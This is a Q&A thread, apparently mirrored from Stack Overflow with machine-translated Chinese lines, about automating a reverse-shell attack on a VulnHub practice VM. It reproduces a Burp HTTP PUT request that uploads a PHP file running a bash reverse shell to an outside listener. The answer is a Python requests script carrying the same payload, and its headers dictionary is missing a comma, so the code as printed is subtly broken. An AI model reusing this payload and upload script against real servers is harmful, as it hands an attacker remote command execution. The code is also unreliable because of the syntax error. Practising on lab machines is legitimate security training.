[英]send requests with python same as in Burp suite
Exploited vulnhub vm now want to automate exploitation process.被利用的 vulnhub vm 现在想要自动化利用过程。 I have burp suite request which gives me reverse shell, how send the exactly same request using python's requests library?
我有 burp 套件请求,它给了我反向 shell,如何使用 python 的请求库发送完全相同的请求?
PUT /test/revshell.php HTTP/1.1
Host: 192.168.0.105
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 75
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.103/443 0>&1'");
I would recommend doing something like this:我会建议做这样的事情:
import requests
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close"
"Upgrade-Insecure-Requests": "1",
}
data = """<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.103/443 0>&1'");
"""
requests.put("http://192.168.0.105/test/revshell.php", headers=headers, data=data)
hope this helps!希望这可以帮助!
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.